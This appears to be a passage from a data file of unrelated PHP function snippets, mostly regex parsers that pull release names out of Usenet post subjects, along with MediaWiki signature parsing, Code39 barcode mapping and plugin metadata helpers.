\"Beachbody.ShaunT.Focus.T25.DVD3.Ab.Intervals.par2\" yEnc\n\t\t\tif (preg_match('/\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function core_upgrade_preamble()\n {\n }", "function mwSig($sign)\r\n{\r\n\t//echo \"$sign\\n\";\r\n\t//return blank array if there is nothing to process\r\n\tif (!$sign) { return Array(); }\r\n\t$out = Array();\r\n\t$out['sign'] = $sign;\r\n\t\r\n\t\r\n\t//Apparently some people think it's funny to mess with the format of the MW date string (thanks IgnorantArmies)\r\n\t$sign = preg_replace(\"/Sunday|Monday|Tuesday|Wednesday|Thursday|Friday|Saturday/\",\"\",$sign);\r\n\t$sign = str_replace(\" \",\" \",$sign);\r\n\t\r\n\t//the date is stored as a string at a fixed number of spaces from the end\r\n\t$arr = explode(\" \",$sign);\r\n\t$i = count($arr) -1;\t//we don't care about the UTC bit\r\n\t\r\n\t//extract the pieces of the date\r\n\tif (count($arr) > 4)\r\n\t{\r\n\t\t$out['date'] = $arr[$i-4] . \" \" . $arr[$i-3] . \" \" . $arr[$i-2] . \" \" . $arr[$i-1];\r\n\t\t\t//store in unix format\r\n\t\t\t$out['stamp'] = strtotime($out['date']);\r\n\t}\r\n\t\r\n\t\r\n\t/*\r\n\tThe users signatures are a dogs breakfast but almost always have either \"User: \" or \"User talk:\". Worse\r\n\tstill, even though a space is mapped to _ when rendered, MW stores the space of the username in mark-up\r\n\twhen expanding --~~~~. Some regex here does the trick, returning an array of probable matches\r\n\t*/\r\n\t$user = preg_split(\"/\\[|\\||\\]|\\)|\\#|\\//\",$sign);\r\n\t$user = preg_grep(\"/(User\\:)|(talk\\:)/\",$user);\r\n\tforeach ($user as $u)\r\n\t{\r\n\t\t\r\n\t\t$out['name'] = trim(strstr($u,\":\"),\":\");\r\n\t}\r\n\treturn $out;\r\n}", "public function movies()\n\t{\n\t\tif (preg_match('/^([a-z].+) - \\[\\d+\\/\\d+\\][ _-]{0,3}(\"|#34;).+(\"|#34;) yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} ///^Have Fun - (\"|#34;)(.+)\\.nfo(\"|#34;) Ph4let0ast3r yEnc$/i\n\t\tif (preg_match('/^Have Fun - (\"|#34;)(.+)\\.nfo(\"|#34;) Ph4let0ast3r yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(01/34) \"Sniper.Reloaded.2011.BluRay.810p.DTS.x264-PRoDJi.Turkish.Audio.par2\" - 139,30 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) (\"|#34;)(.+)\\.(par2|nfo|rar|nzb)(\"|#34;) - \\d+[.,]\\d+ [kKmMgG][bB] - yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //\"Discovery.Channel.Tsunami.Facing.The.Wave.720p.HDTV.x264-PiX.rar\"\n\t\tif (preg_match('/^(\"|#34;)(.+)\\.rar(\"|#34;)$/i', $this->subject, $match)) {\n\t\t\treturn $match[2];\n\t\t} //Saw.VII.2010.720p.Bluray.x264.DTS-HDChina Saw.VII.2010.720p.Bluray.x264.DTS-HDChina.nzb\n\t\tif (preg_match('/^([a-z].+) .+\\.(par2|nfo|rar|nzb)$/i', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(????) [1/1] - \"The Secret Life of Walter Mitty 2013 CAM AAC x264-SSDD.mp4\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(001/114) - Description - \"The.Chronicles.of.Riddick.2004.DC.BluRay.1080p.DTS.par2\" - 10,50 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}Description[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[00/56] - \"The.Last.Days.On.Mars.720p.BluRay.x264-DR.nzb\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[REUP] 6.Degress.of.Hell.2012.1080p.BluRay.DTS-HD.x264-BARC0DE - [03/50] - \"BARC0DE.vol00+1.PAR2\" yEnc\n\t\t//[REUP]Home.Of.The.Brave.2006.1080p.BluRay.DTS-HD.x264-BARC0DE - [03/38] - \"BARC0DE.vol00+1.PAR2\" yEnc\n\t\tif (preg_match('/^\\[REUP\\]( )?(.+?) - \\[\\d+\\/\\d+\\] - \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //- Description - \"The.Legend.of.Hercules.2014.720p.BluRay.x264.YIFY.mp4.01\" - 795,28 MB - yEnc\n\t\tif (preg_match('/^- Description - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '([-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB])[- ]{0,4}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Star.Trek.Into.Darkness.2013.3D.HOU.BDRip.1080p-FAGGOTS [431/432] - \"stid3d.vol124+128.par2\" yEnc\n\t\tif (preg_match('/^([\\w.()-]{8,}?)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(130/138) - Captain America The Winter Soldier 2014 NEW (FIXED) 720p CAM x264 Pimp4003 - \"wXZ6LxFt.zip.130\" - 2.02 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}([\\w.() -]{8,}?\\b)[-_\\s]{0,3}\".+?' . $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //22.Jump.Street.2014.720p.BluRay.x264-tpU.vol000+01.PAR2 [73/84] - \"22.Jump.Street.2014.720p.BluRay.x264-tpU.vol000+01.PAR2\" yEnc\n\t\tif (preg_match('/^.+\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function wp_iso_descrambler($subject)\n {\n }", "public function x264()\n\t{\n\t\tif (preg_match('/^\"(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\") \\(\\d+\\/(\\d+\\)) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(001/108) \"Wizards.of.Waverly.Place.720p.S04E01.by.sugarr.par2\" - 5,15 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/(\\d+\\)) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB]( -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //[NZBsRus.com]-[Arthur.Christmas.2011.BDRip.AC3-5.1.x264-AKS74u] [18/74] - \"ac-bdrip-aks74u.r15\" yEnc\n\t\tif (preg_match('/^\\[NZBsRus\\.com.+\\]-\\[(.+)\\][-_\\s]{0,3}\\[\\d+\\/\\d+\\] - \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[Entourage.S05.720p.WEB-DL.DD5.1.H.264-BTN]-[167/193] - \"Entourage.S05E11.Playn.With.Fire.720p.WEB-DL.DD5.1.h.264-BTN.part05.rar\" yEnc\n\t\tif (preg_match('/^\\[.+\\]-\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //CTW487678426 | Get.the.Gringo.1080p.BluRay.x264.DTS-HDChina.r43-CTW yEnc\n\t\tif (preg_match('/^CTW\\d+ \\| (.+) yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(????) [0/8] - Crionics Post - Alice In Chains - Dirt REPOST\"Alice In Chains - Dirt.nzb\" yEnc\n\t\tif (preg_match('/^.+?\\[\\d+\\/(\\d+\\][-_\\s]{0,3}.+?)[-_\\s]{0,3}(\"|#34;)(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}(\"|#34;))[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //(????) [001/153] - \"C4 House Party Horse Meat Disco Set 6.nfo\" C4 House Party Horse Meat Disco Set 6 yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [19/22] - C.K.N. Demo 85 \"19-rotten system.mp3\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - (.+)[-_\\s]{0,3}\".+?' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function Code39 ($asc) \n{\n\t$code39_data['0'] = 'bwbWBwBwbw';\n\t$code39_data['1'] = 'BwbWbwbwBw';\n\t$code39_data['2'] = 'bwBWbwbwBw';\n\t$code39_data['3'] = 'BwBWbwbwbw';\n\t$code39_data['4'] = 'bwbWBwbwBw';\n\t$code39_data['5'] = 'BwbWBwbwbw';\n\t$code39_data['6'] = 'bwBWBwbwbw';\n\t$code39_data['7'] = 'bwbWbwBwBw';\n\t$code39_data['8'] = 'BwbWbwBwbw';\n\t$code39_data['9'] = 'bwBWbwBwbw';\n\t$code39_data['A'] = 'BwbwbWbwBw';\n\t$code39_data['B'] = 'bwBwbWbwBw';\n\t$code39_data['C'] = 'BwBwbWbwbw';\n\t$code39_data['D'] = 'bwbwBWbwBw';\n\t$code39_data['E'] = 'BwbwBWbwbw';\n\t$code39_data['F'] = 'bwBwBWbwbw';\n\t$code39_data['G'] = 'bwbwbWBwBw';\n\t$code39_data['H'] = 'BwbwbWBwbw';\n\t$code39_data['I'] = 'bwBwbWBwbw';\n\t$code39_data['J'] = 'bwbwBWBwbw';\n\t$code39_data['K'] = 'BwbwbwbWBw';\n\t$code39_data['L'] = 'bwBwbwbWBw';\n\t$code39_data['M'] = 'BwBwbwbWbw';\n\t$code39_data['N'] = 'bwbwBwbWBw';\n\t$code39_data['O'] = 'BwbwBwbWbw';\n\t$code39_data['P'] = 'bwBwBwbWbw';\n\t$code39_data['Q'] = 'bwbwbwBWBw';\n\t$code39_data['R'] = 'BwbwbwBWbw';\n\t$code39_data['S'] = 'bwBwbwBWbw';\n\t$code39_data['T'] = 'bwbwBwBWbw';\n\t$code39_data['U'] = 'BWbwbwbwBw';\n\t$code39_data['V'] = 'bWBwbwbwBw';\n\t$code39_data['W'] = 'BWBwbwbwbw';\n\t$code39_data['X'] = 'bWbwBwbwBw';\n\t$code39_data['Y'] = 'BWbwBwbwbw';\n\t$code39_data['Z'] = 'bWBwBwbwbw';\n\t$code39_data['-'] = 'bWbwbwBwBw';\n\t$code39_data['.'] = 'BWbwbwBwbw';\n\t$code39_data[' '] = 'bWBwbwBwbw';\n\t$code39_data['*'] = 'bWbwBwBwbw';\n\t$code39_data['$'] = 'bWbWbWbwbw';\n\t$code39_data['/'] = 'bWbWbwbWbw'; \n\t$code39_data['+'] = 'bWbwbWbWbw';\n\t$code39_data['%'] = 'bwbWbWbWbw';\n\n\tif (isset($code39_data[$asc])) {\n\t\treturn $code39_data[$asc];\n\t} else {\n\t\treturn $code39_data[' '];\n\t}\n}", "public function ls_callback_mw($matches) {\n // Two situations envisioned:\n // <ls>X</ls> \n // <ls n=\"C\">Y</ls>\n $dbg=false;\n $ans = $matches[0];\n $ndata = $matches[1]; // empty string or ' n=\"C\"'\n $data0 = $matches[2];\n if (preg_match('|n=\"(.*?)\"|',$ndata,$matchesn)) {\n $n = $matchesn[1]; //\n $data1 = \"$n $data0\"; // controversial.\n $data = $data0; //10-07\n } else{\n $n = '';\n $data1 = $data0;\n $data = $data0;\n }\n dbgprint($dbg,\"\\nls_callback_mw BEGIN: ndata=$ndata, n=$n, data0=$data0, data1=$data1\\n\");\n if (!$this->dal_auth->status) {\n return $ans;\n }\n // --------------------------------------------------------------\n // Tooltip for name of work\n $fieldname = 'key';\n if ($this->dict == 'mw') {\n $fieldidx = 1;\n }else { // ap90, ben\n $fieldidx = 0;\n }\n $result = $this->ls_matchabbr($fieldname,$fieldidx,$data1);\n if (count($result) == 0) {\n dbgprint($dbg,\"ls_callback_mw : ls_matchabbr returns no results\\n\");\n return $ans; // failure\n }\n $rec = $result[0];\n if ($this->dict == 'mw') {\n list($cid,$code,$title,$type) = $rec;\n $text = \"$title ($type)\";\n dbgprint($dbg,\"ls_matchabbr returns: cid=$cid, code=$code, title=$title, type=$type\\n\");\n } else if (in_array($this->dict,array('ap90','ben','sch'))) {\n list($code,$text) = $rec;\n }\n # Add lshead, so as to be able to style\n // for mw and ap90, codecap = code\n dbgprint($dbg,\"ls_callback_mw : n=$n, data=$data\\n\");\n $codecap = $code;\n $ncode = strlen($code); // use substr_replace in case $code has parens\n if ($n != '') {\n //$datanew = substr_replace($data,\"<lshead>$data</lshead>\",0);\n $datanew = $data;\n dbgprint($dbg,\"lshead 1: n=$n: datanew=$datanew\\n\");\n } else {\n $datanew = substr_replace($data,\"<lshead>$codecap</lshead>\",0,$ncode);\n dbgprint($dbg,\"lshead 2: n=$n: datanew=$datanew\\n\");\n }\n # be sure there is no xml in the text\n $text = preg_replace('/<.*?>/',' ',$text);\n # convert special characters to html entities\n # for instance, this handles cases when $tran has single (or double) quotes\n $tooltip = $this->htmlspecial($text);\n // --------------------------------------------------------------\n $href = null;\n //dbgprint(true,\"before ls_callback_mw_href, dict=\" . $this->dict . \"\\n\");\n if ($this->dict == 'mw') {\n $href = $this->ls_callback_mw_href($code,$n,$data);\n }else if ($this->dict == 'ap90') {\n $href = $this->ls_callback_ap90_href($code,$n,$data);\n }else if ($this->dict == 'sch') {\n $href = $this->ls_callback_sch_href($code,$n,$data);\n }\n dbgprint($dbg,\"ls_callback_mw: href=$href\\n\");\n if ($href != null) {\n // link\n //$ans = \"<gralink href='$href' n='$tooltip'><ls>$datanew</ls></gralink>\";\n dbgprint($dbg,\"ls_callback_mw: n=$n, datanew=$datanew\\n\");\n if ($n == '') {\n $datanew1 = preg_replace(\"|</lshead>(.*)$|\",'</lshead><span class=\"ls\">${1}</span>',$datanew);\n }else {\n $datanew1 = '<span class=\"ls\">' . $datanew . '</span>';\n }\n //dbgprint(true,\"datanew1=$datanew1\\n\");\n $ans = \"<gralink href='$href' n='$tooltip'><span class='ls'>$datanew1</span></gralink>\";\n }else {\n $ans = \"<ls n='$tooltip'><span class='dotunder ls'>$datanew</span></ls>\";\n }\n dbgprint($dbg,\"ls_callback_mw: ans=$ans\\n\");\n return $ans;\n}", "public function warez_0_day()\n\t{\n\t\tif (preg_match('/^([a-zA-Z].+) - \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //ATKExotics.13.01.06.Janea.Toys.XXX.1080p.x264-SEXORS - [1/7] - #34;ATKExotics.13.01.06.Janea.Toys.XXX.1080p.x264-SEXORS.rar#34; yEnc\n\t\tif (preg_match('/^([a-z].+) - \\[\\d+\\/\\d+\\][ _-]{0,3}(\"|#34;).+(\"|#34;) yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//-Panzer.Command.Kharkov-SKIDROW - [1/7] - \"-Panzer.Command.Kharkov-SKIDROW.rar\" yEnc\n\t\t//-AssMasterpiece.12.07.09.Alexis.Monroe.XXX.1080p.x264-SEXORS - [1/7] - #34;-AssMasterpiece.12.07.09.Alexis.Monroe.XXX.1080p.x264-SEXORS.rar#34; yEnc\n\t\tif (preg_match('/.*[\\(\\[]\\d+\\/\\d+[\\)\\]][-_\\s]{0,3}(\"|#34;)(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4})(\"|#34;)(.+?)yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //- \"JH2U0H5FIK8TO7YK3Q.part12.rar\" yEnc\n\t\tif (preg_match('/.*\"(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\")(.+?)yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //( XS Video Converter Ultimate 7.7.0 Build 20121226 ) - yEnc\n\t\tif (preg_match('/^\\( (.+?) \\) - yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function ps3()\n\t{\n\t\tif (preg_match('/^(\\[\\d+\\] )\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1] . $match[2];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function test()\n\t{\n\t\tif (preg_match('/^brothers-of-usenet.net\\)\\((.+)\\)\\)\\(\\d+\\/\\d+\\) (\"|#34;).+(\"|#34;).+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //brothers-of-usenet.net(Sons.of.Anarchy.S03E03.Fuersorge.GERMAN.DUBBED.720p.BLURAY.x264-ZZGtv))(07/31) #34;zzgtv-soa-s03e03.part05.rar#34; - 2,02 GB - yEnc\n\t\telseif (preg_match('/^brothers-of-usenet.net\\((.+)\\)\\)\\(\\d+\\/\\d+\\) (\"|#34;).+(\"|#34;).+yEnc$/',\n\t\t\t\t\t\t $this->subject,\n\t\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //brothers-of-usenet.net><Sons.of.Anarchy.S03E02.Letzte.Oelung.GERMAN.DUBBED.720p.BLURAY.x264-ZZGtv>>(01/31) \"zzgtv-soa-s03e02.nfo\" - 1,98 GB - yEnc\n\t\telseif (preg_match('/^brothers-of-usenet.net><(.+)>>\\(\\d+\\/\\d+\\) (\"|#34;).+(\"|#34;).+yEnc$/',\n\t\t\t\t\t\t $this->subject,\n\t\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function extractHoldingLibraryCode($data){\r\n\t$instHref = '<a href=\"/institutions/';\r\n\t$start \t = strpos($data, $instHref) + strlen($instHref);\r\n\r\n\t$libCode = \"[code:\";\r\n\t$libCode .= strtoupper(substr($data, $start, 3)); //pull the actual code\r\n\t$libCode .= \"]\";\r\n\r\n\techo \"\\n\" . $libCode . \"\\n\";\r\n\treturn $libCode;\r\n}", "public function town()\n\t{\n\t\t//(3/9) - \"Microsoft Frontpage 2003 - 4 Town-Up from Kraenk.rar.par2\" - 181,98 MB - yEnc\n\t\tif (preg_match('/^[\\[(]\\d+\\/\\d+[\\])] - \"([A-Z0-9].{2,}?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[.,]\\d+ [kKmMgG][bB]( -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Armored_Core_V_PS3-ANTiDOTE__www.realmom.info__.r00\" (03/78) 3,32 GB yEnc\n\t\tif (preg_match('/^\"(.+)__www.realmom.info__.+\" \\(\\d+\\/(\\d+\\)) \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function multimedia()\n\t{\n\t\t//Tusenbroder.S01E05.PDTV.XViD.SWEDiSH-NTV [01/69] - \"ntv-tusenbroder.s01e05.nfo\" yEnc\n\t\tif (preg_match('/^([A-Z0-9a-z.-]{10,})\\s+(- )?\\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[####]-[FULL]-[#a.b.teevee@EFNet]-[ Tosh.0.S02E14.720p.HDTV.x264-aAF ]-[10/21] - \"aaf-tosh.0.s02e14.720p.r07\" yEnc\n\t\tif (preg_match('/\\[[#]+\\]-\\[.+?\\]-\\[.+?\\]-\\[ ([\\w.,& ()\\[\\]\\'\\`-]{8,}?) \\][- ]\\[\\d+\\/\\d+\\][-_\\s]{0,3}(\"|#34;).+?/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[ Top.Chef.S11E12.Mississippi.Mud.Bugs.720p.WEB-DL.AAC2.0.H.264-TVSmash ] - [13/38] - \"tc1112-720p.r10\" yEnc\n\t\tif (preg_match('/^\\[ ?([\\w.,& ()\\[\\]\\'\\`-]{8,}?) ?\\][-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Handyman Shows-TOH-S32E10 - File 01 of 32 - yEnc\n\t\tif (preg_match('/^Handyman Shows-(.+) - File \\d+ of \\d+ - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- \"Auction Hunters S04E04.HDTV.x264-StarryNights1.nzb\" yEnc\n\t\tif (preg_match('/.*\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //homeland.s02e12.1080p.bluray-bia.r08 - [011/111] yEnc\n\t\tif (preg_match('/^([^.]{8,})\\.[A-Za-z0-9]{2,4} - \\[\\d+\\/(\\d+\\]) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function info()\n\t{\n\t\t$info=array();\n\t\t$info['author']='Jason Verhagen';\n\t\t$info['organisation']='HolleywoodStudio.com';\n\t\t$info['hacked_by']=NULL;\n\t\t$info['hack_version']=NULL;\n\t\t$info['version']=9;\n\t\t$info['locked']=false;\n\t\t$info['update_require_upgrade']=1;\n\t\t$info['parameters']=array('name','title','template_main','template_style','start_video','max_videos','orderby','embed_allowed','show_player','player_align','player_width','player_height','style','nothumbplayer','thumbnail','formorelead','formoretext','formoreurl');\n\t\treturn $info;\n\t}", "public function welcomInformations() {\n echo \"\\t\\t####################################\\t\\t\\n\";\n echo \"\\t\\t#\\n\";\n echo \"\\t\\t# \" . Utils::red(\"This is a Enterprise Backup Tool!\") . \"\\n\";\n echo \"\\t\\t#\\n\";\n echo \"\\t\\t####################################\\t\\t\\n\\n\";\n }", "function wrmp_info()\n{\n\tglobal $mybb, $lang, $cp_style;\n\n\tif(!$lang->wrmp)\n\t{\n\t\t$lang->load('wrmp');\n\t}\n\n\t$extra_links = '<br />';\n\t$settings_link = wrmp_build_settings_link();\n\tif($settings_link)\n\t{\n\t\t$extra_links = <<<EOF\n<ul>\n\t<li style=\"list-style-image: url(styles/{$cp_style}/images/wrmp/settings.gif)\">\n\t\t{$settings_link}\n\t</li>\n</ul>\nEOF;\n\t}\n\n\t$button_pic = \"styles/{$cp_style}/images/wrmp/donate.gif\";\n\t$border_pic = \"styles/{$cp_style}/images/wrmp/pixel.gif\";\n\t$wrmp_description = <<<EOF\n<table width=\"100%\">\n\t<tbody>\n\t\t<tr>\n\t\t\t<td>\n\t\t\t\t{$lang->wrmp_description}{$extra_links}\n\t\t\t</td>\n\t\t\t<td style=\"text-align: center;\">\n\t\t\t\t<form action=\"https://www.paypal.com/cgi-bin/webscr\" method=\"post\" target=\"_top\">\n\t\t\t\t\t<input type=\"hidden\" name=\"cmd\" value=\"_s-xclick\">\n\t\t\t\t\t<input type=\"hidden\" name=\"hosted_button_id\" value=\"VA5RFLBUC4XM4\">\n\t\t\t\t\t<input type=\"image\" src=\"{$button_pic}\" border=\"0\" name=\"submit\" alt=\"PayPal - The safer, easier way to pay online!\">\n\t\t\t\t\t<img alt=\"\" border=\"0\" src=\"{$border_pic}\" width=\"1\" height=\"1\">\n\t\t\t\t</form>\n\t\t\t</td>\n\t\t</tr>\n\t</tbody>\n</table>\nEOF;\n\n\t$name = <<<EOF\n<span style=\"font-familiy: arial; font-size: 1.5em; color: #AD5F32; text-shadow: 2px 2px 2px #664B39;\">{$lang->wrmp}</span>\nEOF;\n\t$author = <<<EOF\n</a></small></i><a href=\"http://www.rantcentralforums.com\" title=\"Rant Central\"><span style=\"font-family: Courier New; font-weight: bold; font-size: 1.2em; color: #0e7109;\">Wildcard</span></a><i><small><a>\nEOF;\n\n\t// this array returns information about the plugin, some of which was prefabricated above based on whether the plugin has been installed or not.\n\treturn array(\n\t\t\"name\" => $name,\n\t\t\"description\" => $wrmp_description,\n\t\t\"website\" => 'https://github.com/WildcardSearch/Who-Repped-My-Post',\n\t\t\"author\" => $author,\n\t\t\"authorsite\" => 'http://www.rantcentralforums.com',\n\t\t\"version\" => '1.0.1',\n\t\t\"compatibility\" => '16*',\n\t\t\"guid\" => '6a9a29dcb7af694de01c60a56d66c9b0',\n\t);\n}", "function filterTrackbacks($comms) {\nglobal $comments, $trackbacks;\n $comments = array_filter($comms,\"stripTrackback\");\n return $comments;\n}", "public function getNotes()\n {\n $notes = \"**Support Level:**\\n\\n\";\n $notes .= \"%$this->supportLevel%\\n\\n\";\n\n if ($this->stablePlatforms) {\n $notes .= \"**Supported Platforms:**\\n\";\n $notes .= \"$this->stablePlatforms\\n\";\n }\n\n if ($this->unstablePlatforms) {\n $notes .= \"**Unsupported Platforms:**\\n\";\n $notes .= 